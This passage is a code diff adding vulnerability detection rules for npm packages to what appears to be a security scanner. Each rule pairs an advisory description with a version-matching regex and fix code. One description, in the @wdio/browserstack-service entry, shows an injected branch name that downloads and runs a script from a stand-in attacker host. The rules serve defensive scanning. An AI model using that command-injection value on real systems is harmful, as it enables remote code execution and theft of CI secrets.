+        owasp: "A01:2025 Broken Access Control",
+        description: "fast-uri versions <= 3.1.1 are vulnerable to two URL parsing flaws: path traversal via percent-encoded dot segments (CVE-2026-6321) and host confusion via percent-encoded authority delimiters (CVE-2026-6322). fast-uri is used transitively by Fastify and AJV for URL validation. An attacker can craft a URL that parses one way for an allowlist check and a different way when the URL is later fetched, leading to SSRF, open redirects, or filesystem path escapes.",
+        pattern: /["']fast-uri["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:[0-2]\.\d+\.\d+|3\.0\.\d+|3\.1\.[01])["']/g,
+        languages: ["json"],
+        fix: "Upgrade fast-uri to 3.1.2 or later. Audit transitive dependencies (Fastify, AJV) and run npm dedupe to ensure the patched version is used everywhere.",
+        fixCode: '// package.json\n"fast-uri": "^3.1.2"\n\n// If pulled transitively, force-resolve in the lockfile:\n// "overrides": { "fast-uri": "^3.1.2" }',
+        compliance: ["SOC2:CC6.1", "PCI-DSS:Req6.5.8"],
+    },
+    {
+        id: "VG1039",
+        name: "fast-xml-builder Attribute Quote Bypass (CVE-2026-44665)",
+        severity: "high",
+        owasp: "A03:2025 Injection",
+        description: "fast-xml-builder versions <= 1.1.6 do not escape embedded quotes inside attribute values, allowing attacker-controlled input to break out of the attribute and inject arbitrary attributes (including event handlers). Downstream consumers that render the produced XML/HTML are exposed to stored XSS or XML injection.",
+        pattern: /["']fast-xml-builder["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:0\.\d+\.\d+|1\.0\.\d+|1\.1\.[0-6])["']/g,
+        languages: ["json"],
+        fix: "Upgrade fast-xml-builder to 1.1.7 or later. Sanitize untrusted attribute values before serialization as a defence-in-depth measure.",
+        fixCode: '// package.json\n"fast-xml-builder": "^1.1.7"\n\n// Defence-in-depth — strip quote characters from untrusted attribute values:\nconst safe = String(userValue).replace(/[\"\\\'<>]/g, \"\");',
+        compliance: ["SOC2:CC6.1", "PCI-DSS:Req6.5.7"],
+    },
+    {
+        id: "VG1040",
+        name: "Velocity.js Prototype Pollution via #set Path (CVE-2026-44966)",
+        severity: "high",
+        owasp: "A08:2025 Software and Data Integrity Failures",
+        description: "velocityjs versions <= 2.1.5 are vulnerable to prototype pollution via the #set directive. Path expressions in templates rendered with attacker-controlled context can assign properties to Object.prototype, leading to denial of service, authentication bypass, or remote code execution depending on the host application. No upstream patch is available as of the CVE publication date.",
+        pattern: /["']velocityjs["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:[01]\.\d+\.\d+|2\.0\.\d+|2\.1\.[0-5])["']/g,
+        languages: ["json"],
+        fix: "There is no patched version yet. Disable user-controlled template input, render with a frozen Object.prototype (Object.freeze(Object.prototype)), or migrate to a hardened template engine such as Handlebars or Nunjucks until a fix lands.",
+        fixCode: "// Defensive bootstrap — block prototype writes globally:\nObject.freeze(Object.prototype);\n\n// Or migrate template rendering off velocityjs:\n// import Handlebars from 'handlebars';\n// const tpl = Handlebars.compile(template);",
+        compliance: ["SOC2:CC6.1", "PCI-DSS:Req6.2"],
+    },
+    {
+        id: "VG1042",
+        name: "Axios Pre-1.15.2 Multiple Vulnerabilities (SSRF, Prototype Pollution, DoS, CRLF)",
+        severity: "high",
+        owasp: "A10:2025 SSRF",
+        description: "Axios versions 1.0.0 through 1.15.1 (and 0.x through 0.31.0) are affected by a cluster of four vulnerabilities disclosed in May 2026: NO_PROXY hostname normalization bypass leading to SSRF (GHSA-3p68-rc4w-qgx5, fix 1.15.0), prototype pollution gadget in parseReviver enabling invisible JSON response tampering (GHSA-3w6x-2g7m-8v23, fix 1.15.2), denial of service via __proto__ key in mergeConfig (GHSA-43fc-jf86-j433, fix 1.13.5), and CRLF injection in multipart/form-data via unsanitized blob.type in formDataToStream (GHSA-445q-vr5w-6q77, fix 1.15.1). Upgrade to 1.15.2 to cover all four.",
+        pattern: /["']axios["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:0\.\d+\.\d+|1\.(?:[0-9]|1[0-4])\.\d+|1\.15\.[01])["']/g,
+        languages: ["json"],
+        fix: "Upgrade axios to 1.15.2 or later: npm install axios@latest. Audit usage of NO_PROXY, multipart uploads with attacker-controlled blob.type, and any JSON parsing with custom revivers.",
+        fixCode: '// package.json\n"axios": "^1.15.2"  // or latest\n\n// Defence-in-depth — sanitize blob.type before multipart upload\nconst safeType = String(blob.type || "application/octet-stream").replace(/[\\r\\n]/g, "");',
+        compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.2", "PCI-DSS:Req6.5.8"],
+    },
+    {
+        id: "VG1043",
+        name: "Hono Pre-4.12.18 Multiple Vulnerabilities (JWT, Cache Vary, JSX, bodyLimit, serveStatic, ALB IP spoof)",
+        severity: "high",
+        owasp: "A05:2025 Security Misconfiguration",
+        description: "Hono versions before 4.12.18 are affected by a cluster of issues. May 2026 wave (fix 4.12.18 unless noted): JWT verify() does not validate NumericDate claims exp/nbf/iat (GHSA-hm8q-7f3q-5f36), Cache Middleware ignores Vary: Authorization and Vary: Cookie leading to cross-user cache leakage (GHSA-p77w-8qqv-26rm), hono/jsx renders unvalidated JSX tag names enabling HTML injection (GHSA-69xw-7hcm-h432, fix 4.12.16), bodyLimit() can be bypassed for chunked or unknown-length requests (GHSA-9vqf-7f2p-gf9v, fix 4.12.16). Hono < 4.12.4 is additionally exposed to two HIGH-severity earlier issues: arbitrary file access via serveStatic (CVE-2026-29045, GHSA-q5qw-h33p-qvwr) and authentication bypass by IP spoofing in AWS Lambda ALB conninfo (CVE-2026-27700, GHSA-xh87-mx6m-69f3). July 2026 disclosures also land inside this window: parseBody with the dot:true option accepts __proto__ form-field keys enabling prototype pollution (CVE-2026-56763, fix 4.12.7), and setCookie()/serialize()/serializeSigned() accept unvalidated cookie names including \\r\\n control characters (CVE-2026-56762, fix 4.12.12) — both fully covered by the 4.12.18 upgrade this rule enforces.",
+        pattern: /["']hono["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:[0-3]\.\d+\.\d+|4\.(?:[0-9]|1[01])\.\d+|4\.12\.(?:[0-9]|1[0-7]))["']/g,
+        languages: ["json"],
+        fix: "Upgrade Hono to 4.12.18 or later: npm install hono@latest. If using cache middleware, explicitly set Vary headers; if using JWT verify, treat exp/nbf/iat as untrusted until upgrade lands.",
+        fixCode: '// package.json\n"hono": "^4.12.18"  // or latest\n\n// Defence-in-depth for cache middleware\napp.use(cache({ cacheName: "api", wait: true, vary: ["Authorization", "Cookie"] }));',
+        compliance: ["SOC2:CC6.1", "SOC2:CC7.1", "PCI-DSS:Req6.2"],
+    },
+    {
+        id: "VG1044",
+        name: "Anthropic TS SDK Memory Tool Insecure File Permissions and Path Escape (GHSA-p7fg / GHSA-5474)",
+        severity: "high",
+        owasp: "A01:2025 Broken Access Control",
+        description: "@anthropic-ai/sdk versions 0.79.0 through 0.91.0 expose the local-filesystem Memory Tool with two issues: default file permissions are world-readable, leaking memory contents to other users on shared hosts (GHSA-p7fg-763f-g4gf, fix 0.91.1), and path validation in the Memory Tool can be bypassed to read or write sibling directories outside the configured root (GHSA-5474-4w2j-mq4c, fix 0.81.0). The permissions issue was later assigned CVE-2026-41686 and the path escape CVE-2026-34451. Upgrade to 0.91.1+ to cover both, and avoid placing the Memory Tool root on multi-tenant filesystems.",
+        pattern: /["']@anthropic-ai\/sdk["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:0\.(?:79|8[0-9]|90)\.\d+|0\.91\.0)["']/g,
+        languages: ["json"],
+        fix: "Upgrade @anthropic-ai/sdk to 0.91.1 or later. Restrict Memory Tool root to a single-tenant directory with mode 0700. Audit any agent that exposes the Memory Tool to untrusted prompts.",
+        fixCode: '// package.json\n"@anthropic-ai/sdk": "^0.91.1"  // or latest\n\n// Harden Memory Tool root (server bootstrap)\nimport { chmodSync, mkdirSync } from "node:fs";\nmkdirSync(memoryRoot, { recursive: true, mode: 0o700 });\nchmodSync(memoryRoot, 0o700);',
+        compliance: ["SOC2:CC6.1", "PCI-DSS:Req6.2", "EUAIACT:Art15"],
+    },
+    {
+        id: "VG1045",
+        name: "Clerk Org/Billing/Reverification Authorization Bypass (GHSA-w24r-5266-9c3c)",
+        severity: "high",
+        owasp: "A01:2025 Broken Access Control",
+        description: "Clerk SDKs are vulnerable to an authorization bypass when has() checks combine organization, billing, or reverification predicates: the combined check can incorrectly return true, granting authenticated users access to resources they should not reach. Affects @clerk/nextjs 6.0.0–6.39.2 and 7.0.0–7.2.3, @clerk/backend 2.0.0–2.33.2 and 3.0.0–3.2.13, @clerk/express 0.1.0–1.7.78 and 2.0.0–2.1.5, @clerk/astro 2.0.0–2.17.10 and 3.0.0–3.0.17, @clerk/nuxt 1.0.0–1.13.28 and 2.0.0–2.2.4, and many sibling packages. Distinct from the earlier middleware bypass (GHSA-vqx2-fgx2-5wq9 / VG925), which only affected 1.x/2.x lines.",
+        pattern: /["']@clerk\/(?:nextjs|backend|express|astro|nuxt|fastify|expo|react|vue|react-router|tanstack-react-start|clerk-js|clerk-react|chrome-extension|hono|shared)["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:6\.(?:[0-9]|[1-3][0-9])\.\d+|6\.39\.[0-2]|7\.[01]\.\d+|7\.2\.[0-3]|2\.(?:[0-9]|[12][0-9]|3[0-2])\.\d+|2\.33\.[01]|3\.[01]\.\d+|3\.2\.(?:[0-9]|1[0-3]))["']/g,
+        languages: ["json"],
+        fix: "Upgrade @clerk/nextjs to 6.39.3+ or 7.2.4+, @clerk/backend to 2.33.3+ or 3.2.14+, and the matching version for every other @clerk/* package. Until upgraded, do not rely on a single combined has({ organization, billing, reverification }) call — split into separate checks and gate at both middleware and route handler.",
+        fixCode: '// package.json — patched versions\n"@clerk/nextjs": "^7.2.4",  // or "^6.39.3" for v6\n"@clerk/backend": "^3.2.14"  // or "^2.33.3" for v2\n\n// Defence-in-depth — split the combined predicate\nconst { has } = await auth();\nif (!has({ role: "org:admin" })) return forbidden();\nif (!has({ plan: "pro" })) return forbidden();\nif (!has({ reverification: "strict" })) return forbidden();',
+        compliance: ["SOC2:CC6.1", "PCI-DSS:Req6.2", "HIPAA:§164.312(a)"],
+    },
+    {
+        id: "VG1046",
+        name: "fast-xml-parser XMLBuilder Comment/CDATA Injection (CVE-2026-XXXX / GHSA-gh4j-gqv2-49f6)",
+        severity: "high",
+        owasp: "A03:2025 Injection",
+        description: "fast-xml-parser versions before 5.7.0 ship an XMLBuilder that does not escape XML comment terminators (-->) or CDATA terminators (]]>) inside attacker-controlled values. An attacker who controls a string serialized into a comment or CDATA section can break out of that section and inject arbitrary XML markup — including extra elements, processing instructions, or attributes — which downstream consumers (browsers, XML parsers, SOAP/SAML pipelines) then process. Distinct from VG1039 (fast-xml-builder, a different package).",
+        pattern: /["']fast-xml-parser["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:[0-4]\.\d+\.\d+|5\.[0-6]\.\d+)["']/g,
+        languages: ["json"],
+        fix: "Upgrade fast-xml-parser to 5.7.0 or later. If upgrade is blocked, strip CDATA terminator ']]>' and comment terminator '--' from any attacker-controlled value before passing it to XMLBuilder.",
+        fixCode: '// package.json\n"fast-xml-parser": "^5.7.0"  // or latest\n\n// Defence-in-depth — sanitize before serialization\nfunction safeXmlText(v: string) {\n  return String(v).replace(/]]>/g, "]]&gt;").replace(/--/g, "&#45;&#45;");\n}',
+        compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.5.7"],
+    },
+    {
+        id: "VG1047",
+        name: "Next.js Middleware/SSRF/DoS Cluster May 2026 (CVE-2026-44573 through CVE-2026-45109)",
+        severity: "high",
+        owasp: "A01:2025 Broken Access Control",
+        description: "Next.js versions before 15.5.18 and 16.2.6 are affected by a cluster of seven advisories disclosed on 2026-05-11: middleware/proxy bypass in Pages Router i18n (CVE-2026-44573), middleware bypass via dynamic route parameter injection (CVE-2026-44574), middleware bypass via App Router segment-prefetch routes (CVE-2026-44575, with incomplete-fix follow-up CVE-2026-45109), SSRF in apps using WebSocket upgrades (CVE-2026-44578), DoS via connection exhaustion in Cache Components apps (CVE-2026-44579), and a separate DoS path with Server Components (GHSA-8h8q-6873-q5fj). Several allow authenticated or unauthenticated attackers to skip middleware-based authorization checks and reach protected handlers. Upgrade to 15.5.18+ or 16.2.6+ to cover the whole cluster.",
+        pattern: /["']next["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:12\.(?:[2-9]|[1-9][0-9])\.\d+|1[34]\.\d+\.\d+|15\.[0-4]\.\d+|15\.5\.(?:[0-9]|1[0-7])|16\.[01]\.\d+|16\.2\.[0-5])["']/g,
+        languages: ["json"],
+        fix: "Upgrade Next.js to 15.5.18+ or 16.2.6+: npm install next@latest. Until upgraded, do not rely solely on middleware for authorization — gate every protected route at the route-handler level too (call auth() inside the handler), and apply rate limiting plus connection caps on RSC and Server-Function endpoints to mitigate the DoS path.",
+        fixCode: '// package.json\n"next": "^16.2.6"  // or "^15.5.18" for v15\n\n// Defence-in-depth — duplicate the auth check inside the handler\nimport { auth } from "@/lib/auth";\nexport async function GET() {\n  const session = await auth();\n  if (!session) return new Response("Forbidden", { status: 403 });\n  // ... handler\n}',
+        compliance: ["SOC2:CC6.1", "PCI-DSS:Req6.2", "HIPAA:§164.312(a)"],
+    },
+    {
+        id: "VG1048",
+        name: "react-server-dom-* React Server Components DoS (CVE-2026-23870)",
+        severity: "high",
+        owasp: "A05:2025 Security Misconfiguration",
+        description: "react-server-dom-parcel, react-server-dom-turbopack, and react-server-dom-webpack versions 19.0.0–19.0.5, 19.1.0–19.1.6, and 19.2.0–19.2.5 are vulnerable to a denial-of-service flaw in the React Flight protocol when deserializing Server Components payloads. Distinct from VG929 (which tracks the bundled Next.js fix for the earlier CVE-2026-23869) — VG1048 catches the standalone react-server-dom-* packages directly when they are pinned in package.json without going through Next.js. Crafted requests cause sustained CPU spend that can exhaust an HTTP worker.",
+        pattern: /["']react-server-dom-(?:parcel|turbopack|webpack)["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:19\.0\.[0-5]|19\.1\.[0-6]|19\.2\.[0-5])["']/g,
+        languages: ["json"],
+        fix: "Upgrade react-server-dom-* to 19.0.6+, 19.1.7+, or 19.2.6+ depending on your React minor line. If you are on Next.js, upgrading Next.js to 16.2.6+ (VG1047 / VG929) pulls the patched react-server-dom-webpack automatically.",
+        fixCode: '// package.json — match the same minor of react/react-dom\n"react-server-dom-webpack": "^19.2.6",\n"react-server-dom-turbopack": "^19.2.6",\n"react-server-dom-parcel": "^19.2.6"',
+        compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.2"],
+    },
+    {
+        id: "VG1049",
+        name: "MikroORM SQL Injection via Runtime Identifiers (CVE-2026-44680)",
+        severity: "high",
+        owasp: "A03:2025 Injection",
+        description: "@mikro-orm/sql versions <= 7.0.13 and @mikro-orm/knex versions <= 6.6.13 are vulnerable to SQL injection when the query builder receives runtime-controlled identifiers (column names, JSON-path keys, sort fields, group-by fields) from untrusted input. Attackers who can influence those identifiers can inject arbitrary SQL through normal ORM APIs — without using a raw escape hatch. Distinct from VG432 (Prisma raw-query call-form), this fires on the safe-looking builder surface.",
+        pattern: /["']@mikro-orm\/(?:sql|knex)["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:[0-5]\.\d+\.\d+|6\.[0-5]\.\d+|6\.6\.(?:[0-9]|1[0-3])|7\.0\.(?:[0-9]|1[0-3]))["']/g,
+        languages: ["json"],
+        fix: "Upgrade @mikro-orm/sql to 7.0.14+ and @mikro-orm/knex to 6.6.14+ (npm install @mikro-orm/sql@latest @mikro-orm/knex@latest). Until upgraded, validate every runtime identifier against an allowlist before passing it to qb.orderBy(), qb.select(), JSON-path operators, or any builder method that interpolates a column name.",
+        fixCode: '// package.json\n"@mikro-orm/sql": "^7.0.14",  // or latest\n"@mikro-orm/knex": "^6.6.14"  // or latest\n\n// Defence-in-depth — allowlist column names from the schema\nconst ALLOWED_SORT = new Set(["id", "createdAt", "updatedAt", "name"]);\nif (!ALLOWED_SORT.has(req.query.sort)) return badRequest();',
+        compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.5.1"],
+    },
+    {
+        id: "VG1050",
+        name: "angular-expressions Remote Code Execution via Filters (CVE-2026-44643)",
+        severity: "critical",
+        owasp: "A03:2025 Injection",
+        description: "angular-expressions versions <= 1.5.1 are vulnerable to remote code execution when attacker-controlled input is evaluated through filter expressions. The package is most commonly pulled in transitively by docxtemplater and other template engines; a malicious template (or user-controlled placeholder data mixed into the template body) can break out of the expression sandbox via filter pipes such as {{ userInput | filter:'arg' }} and execute arbitrary JavaScript in the host process.",
+        pattern: /["']angular-expressions["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:0\.\d+\.\d+|1\.[0-4]\.\d+|1\.5\.[01])["']/g,
+        languages: ["json"],
+        fix: "Upgrade angular-expressions to 1.5.2+ (npm install angular-expressions@latest). If the dependency is transitive (e.g. docxtemplater), pin an override/resolution in package.json or upgrade the parent package. Never render an angular-expressions template that mixes attacker-controlled text into the template body — pass user data only as the rendering context, never as the template string.",
+        fixCode: '// package.json — pin the patched version\n"angular-expressions": "^1.5.2"\n\n// pnpm / yarn / npm overrides for transitive parents\n"overrides": { "angular-expressions": "^1.5.2" }',
+        compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.5.1"],
+    },
+    {
+        id: "VG1051",
+        name: "@babel/plugin-transform-modules-systemjs Arbitrary Code Generation (CVE-2026-44728)",
+        severity: "high",
+        owasp: "A08:2025 Software & Data Integrity Failures",
+        description: "@babel/plugin-transform-modules-systemjs versions 7.12.0 through 7.29.3 emit arbitrary executable code when compiling malicious source files that include crafted import/export specifiers. Any build that runs Babel against untrusted input — a CI/CD pipeline bundling user-submitted plugins, an MDX/Markdown compiler running Babel on third-party snippets, or a sandbox transpiling attacker code before evaluation — can be hijacked to execute attacker JavaScript during the build step itself. The plugin is reachable transitively through @babel/preset-env when SystemJS targeting is enabled.",
+        pattern: /["']@babel\/plugin-transform-modules-systemjs["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:7\.1[2-9]\.\d+|7\.2[0-8]\.\d+|7\.29\.[0-3])["']/g,
+        languages: ["json"],
+        fix: "Upgrade @babel/plugin-transform-modules-systemjs to 7.29.4+ (npm install @babel/plugin-transform-modules-systemjs@latest). If pulled transitively through @babel/preset-env, upgrade preset-env to a version that bundles 7.29.4+ or pin an override. Do not run Babel against untrusted source files without an isolated sandbox process.",
+        fixCode: '// package.json\n"@babel/plugin-transform-modules-systemjs": "^7.29.4"  // or latest\n\n// Or pin via overrides for transitive parents\n"overrides": { "@babel/plugin-transform-modules-systemjs": "^7.29.4" }',
+        compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.5.1"],
+    },
+    {
+        id: "VG1052",
+        name: "OpenTelemetry Prometheus Exporter Process Crash (CVE-2026-44902)",
+        severity: "high",
+        owasp: "A05:2025 Security Misconfiguration",
+        description: "@opentelemetry/exporter-prometheus and @opentelemetry/sdk-node before 0.217.0, and @opentelemetry/auto-instrumentations-node before 0.75.0, are vulnerable to a process crash triggered by a malformed HTTP request to the Prometheus scrape endpoint. A single crafted request — easily issued from any host that can reach the exporter port — terminates the Node.js process and takes the application with it. Because the exporter is typically exposed on a metrics port that scrapers (and sometimes the cluster network) can reach without authentication, this is a remote unauthenticated DoS.",
+        pattern: /["']@opentelemetry\/(?:exporter-prometheus|sdk-node|auto-instrumentations-node)["']\s*:\s*["'](?:\^|~|>=?)?\s*0\.(?:\d|[1-9]\d|1\d\d|20\d|21[0-6])\.\d+["']/g,
+        languages: ["json"],
+        fix: "Upgrade @opentelemetry/exporter-prometheus and @opentelemetry/sdk-node to 0.217.0+ and @opentelemetry/auto-instrumentations-node to 0.75.0+. Also restrict the Prometheus scrape port at the network layer to known scrapers only — never expose it to the public internet.",
+        fixCode: '// package.json\n"@opentelemetry/exporter-prometheus": "^0.217.0",\n"@opentelemetry/sdk-node": "^0.217.0",\n"@opentelemetry/auto-instrumentations-node": "^0.75.0"',
+        compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.2"],
+    },
+    {
+        id: "VG1053",
+        name: "Drizzle ORM SQL Identifier Injection (CVE-2026-39356 / GHSA-gpj5-g38j-94v9)",
+        severity: "high",
+        owasp: "A03:2025 Injection",
+        description: "drizzle-orm versions before 0.45.2 (stable) and 1.0.0-beta.2 through 1.0.0-beta.19 (beta line) are vulnerable to SQL injection through improperly escaped SQL identifiers. When attacker-influenced input flows into a table or column name passed to sql.identifier(), dynamic table()/column() builders, or any spot the ORM interpolates an identifier without quoting, the attacker can break out and inject arbitrary SQL. Distinct from VG432 (Prisma raw-query call-form) and VG1049 (MikroORM identifier injection); each ORM has its own escape gap.",
+        pattern: /["']drizzle-orm["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:0\.(?:\d|[1-3]\d|4[0-4])\.\d+|0\.45\.[01]|1\.0\.0-beta\.(?:[2-9]|1\d))["']/g,
+        languages: ["json"],
+        fix: "Upgrade drizzle-orm to 0.45.2+ (stable) or 1.0.0-beta.20+ (beta): npm install drizzle-orm@latest. Until upgraded, validate every runtime identifier against an allowlist derived from the schema before passing it to sql.identifier() or any builder method that interpolates a column or table name.",
+        fixCode: '// package.json\n"drizzle-orm": "^0.45.2"  // or latest\n\n// Defence-in-depth — allowlist column names\nconst ALLOWED_SORT = new Set(["id", "createdAt", "updatedAt", "name"]);\nif (!ALLOWED_SORT.has(req.query.sort)) return badRequest();',
+        compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.5.1"],
+    },
+    {
+        id: "VG1054",
+        name: "Vercel AI SDK File Type Whitelist Bypass (CVE-2025-48985 / GHSA-rwvc-j5jr-mgvh)",
+        severity: "low",
+        owasp: "A04:2025 Insecure Design",
+        description: "Vercel AI SDK (the `ai` npm package) versions before 5.0.52 (stable) and 5.1.0-beta.0 through 5.1.0-beta.8 (beta line) accept files that should be blocked by the configured file-type whitelist. The check inspects the declared MIME or extension but does not verify content, so an attacker can rename or relabel an executable, script, or oversized blob and have it pass the upload gate. Reachable in any app that exposes a user-facing file upload endpoint built on the SDK's experimental_attachments or attachments primitives.",
+        pattern: /["']ai["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:[0-4]\.\d+\.\d+|5\.0\.(?:\d|[1-4]\d|5[01])|5\.1\.0-beta\.[0-8])["']/g,
+        languages: ["json"],
+        fix: "Upgrade ai to 5.0.52+ (stable) or 5.1.0-beta.9+ (beta): npm install ai@latest. As defence-in-depth, validate uploaded file content (magic-byte sniffing, not just MIME) and re-enforce a max byte cap on the server side regardless of what the SDK reports.",
+        fixCode: '// package.json\n"ai": "^5.0.52"  // or latest\n\n// Defence-in-depth — magic-byte sniff before persisting\nimport { fileTypeFromBuffer } from "file-type";\nconst kind = await fileTypeFromBuffer(buffer);\nif (!ALLOWED_MIMES.has(kind?.mime ?? "")) throw new Error("bad upload");',
+        compliance: ["SOC2:CC7.1"],
+    },
+    {
+        id: "VG1055",
+        name: "Clerk clerkFrontendApiProxy SSRF — Secret Key Leak (CVE-2026-34076 / GHSA-gjxx-92w9-8v8f)",
+        severity: "high",
+        owasp: "A10:2025 SSRF",
+        description: "The opt-in clerkFrontendApiProxy feature in @clerk/backend 3.0.0–3.2.2, @clerk/express 2.0.0–2.0.6, @clerk/hono 0.1.0–0.1.4, and @clerk/fastify 3.1.0–3.1.4 is vulnerable to SSRF: an attacker who controls the proxy's downstream URL can trick the server into forwarding the Clerk-Secret-Key header to an unintended host, leaking the secret key to an attacker-controlled origin. Distinct from VG925 (middleware route-protection bypass GHSA-vqx2) and VG1045 (has() org/billing/reverification bypass GHSA-w24r); this rule fills the @clerk/hono 0.1.x version-space that VG1045's pattern does not cover.",
+        pattern: /["']@clerk\/(?:backend|express|hono|fastify)["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:0\.1\.[0-4]|2\.0\.[0-6]|3\.[01]\.\d+|3\.2\.[0-2])["']/g,
+        languages: ["json"],
+        fix: "Upgrade @clerk/backend to 3.2.3+, @clerk/express to 2.0.7+, @clerk/hono to 0.1.5+, and @clerk/fastify to 3.1.5+. If you cannot upgrade immediately, disable clerkFrontendApiProxy and rotate CLERK_SECRET_KEY assuming compromise — the key may have already been forwarded to an attacker host.",
+        fixCode: '// package.json — patched versions\n"@clerk/backend": "^3.2.3",  // or latest\n"@clerk/express": "^2.0.7",\n"@clerk/hono": "^0.1.5",\n"@clerk/fastify": "^3.1.5"',
+        compliance: ["SOC2:CC6.1", "SOC2:CC7.1", "PCI-DSS:Req6.2", "PCI-DSS:Req3.5"],
+    },
+    {
+        id: "VG1057",
+        name: "Kysely JSON-Path Traversal Injection (CVE-2026-44635)",
+        severity: "high",
+        owasp: "A03:2025 Injection",
+        description: "kysely versions >=0.26.0 and <0.28.17 are vulnerable to JSON-path traversal injection through JSONPathBuilder.key() and .at(). The earlier CVE-2026-32763 fix in 0.28.12 only escapes single quotes; it does not escape JSON-path metacharacters (`.`, `[`, `]`, `*`, `**`, `?`). When attacker-controlled input flows into eb.ref(col, '->$').key(input) or .at(input) — including type-safe code where the JSON column is shaped as Record<string, T> so K extends string is the inferred type — every dot becomes a path-leg separator, letting an attacker traverse from the intended key into sibling and child fields. Reads, and in update statements writes, leak across the intended scope on MySQL, PostgreSQL ->$/->>$, and SQLite. Distinct from VG1053 (Drizzle identifier injection) and VG1049 (MikroORM identifier injection) — each ORM has its own escape gap.",
+        pattern: /["']kysely["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:0\.(?:2[6-7])\.\d+|0\.28\.(?:[0-9]|1[0-6]))["']/g,
+        languages: ["json"],
+        fix: "Upgrade kysely to 0.28.17+ (npm install kysely@latest). Until upgraded, validate every runtime JSON-path segment against an allowlist before passing it to .key() or .at() — the safe-looking type-safe call surface does NOT protect against attacker-controlled keys when the column type widens to a string index.",
+        fixCode: '// package.json\n"kysely": "^0.28.17"  // or latest\n\n// Defence-in-depth — allowlist json path segments\nconst ALLOWED_KEYS = new Set(["name", "email", "createdAt"]);\nif (!ALLOWED_KEYS.has(req.query.field)) return badRequest();',
+        compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.5.1"],
+    },
+    {
+        id: "VG1058",
+        name: "@nyariv/sandboxjs Sandbox Escape via Function.caller (CVE-2026-43898)",
+        severity: "critical",
+        owasp: "A03:2025 Injection",
+        description: "@nyariv/sandboxjs versions <= 0.9.5 are vulnerable to a sandbox escape: sandbox-defined functions expose Function.caller, which leaks the internal LispType.Call op. The leaked callback accepts an attacker-supplied params object and uses its fields without authentication, allowing sandboxed code to extract blocked host statics, recover the real host Function constructor, and run arbitrary JavaScript in the host process. Critical for any service that runs user-submitted JavaScript through SandboxJS — code playgrounds, low-code/no-code expression evaluators, AI tool sandboxes, and template engines that evaluate user expressions.",
+        pattern: /["']@nyariv\/sandboxjs["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:0\.[0-8]\.\d+|0\.9\.[0-5])["']/g,
+        languages: ["json"],
+        fix: "Upgrade @nyariv/sandboxjs to 0.9.6+ as soon as a patched release ships (track GHSA-g8f2-4f4f-5jqw). Until then, do not feed untrusted JavaScript into SandboxJS; run user-supplied code in an isolated worker or container with no access to host credentials or the network instead.",
+        fixCode: '// package.json — pin patched version when available\n"@nyariv/sandboxjs": "^0.9.6"\n\n// Interim mitigation — run untrusted JS in an isolated Worker thread with no access to filesystem or env\nimport { Worker } from "node:worker_threads";\nnew Worker("./sandbox-worker.js", { resourceLimits: { maxOldGenerationSizeMb: 64 } });',
+        compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.5.1"],
+    },
+    {
+        id: "VG1059",
+        name: "@vitejs/plugin-rsc RSC DoS via Bundled react-server-dom-webpack (GHSA-w94c-4vhp-22gx)",
+        severity: "high",
+        owasp: "A05:2025 Security Misconfiguration",
+        description: "@vitejs/plugin-rsc versions <= 0.5.25 vendor a pre-19.2.6 copy of react-server-dom-webpack and inherit the same React Flight deserialization denial-of-service flaw tracked under CVE-2026-23870. Distinct from VG1048 (standalone react-server-dom-* packages) and VG1047 (Next.js bundle) — this rule catches Vite-based RSC applications that pull the broken vendored copy through the plugin without going through Next.js or installing react-server-dom-* directly. Crafted Flight payloads cause sustained CPU spend and exhaust HTTP workers.",
+        pattern: /["']@vitejs\/plugin-rsc["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:0\.[0-4]\.\d+|0\.5\.(?:[0-9]|1\d|2[0-5]))["']/g,
+        languages: ["json"],
+        fix: "Upgrade @vitejs/plugin-rsc to 0.5.26+ (npm install @vitejs/plugin-rsc@latest). As defence-in-depth, place a reverse proxy in front of the RSC endpoint with a tight body-size cap and per-connection timeouts so a malformed Flight payload cannot pin an HTTP worker.",
+        fixCode: '// package.json\n"@vitejs/plugin-rsc": "^0.5.26"  // or latest',
+        compliance: ["SOC2:CC7.1", "PCI-DSS:Req6.2"],
+    },
+    {
+        id: "VG1060",
+        name: "@wdio/browserstack-service Command Injection via Git Branch Names (CVE-2026-25244)",
+        severity: "critical",
+        owasp: "A03:2025 Injection",
+        description: "@wdio/browserstack-service versions <= 9.23.2 contain a command injection in the test-orchestration helper getGitMetadataForAISelection(): user-controlled git branch names are interpolated directly into a shell-spawning child process call without sanitization. Git allows branch names containing shell metacharacters (e.g. main;curl evil.com/x|bash). Any pipeline that runs the service against an attacker-controlled repository — typical for CI jobs that build PRs from untrusted forks — gets remote code execution on the test runner, which usually has CI secrets and BrowserStack credentials in its environment.",
+        pattern: /["']@wdio\/browserstack-service["']\s*:\s*["'](?:\^|~|>=?)?\s*(?:[0-8]\.\d+\.\d+|9\.(?:[0-9]|1\d|2[0-2])\.\d+|9\.23\.[0-2])["']/g,
+        languages: ["json"],
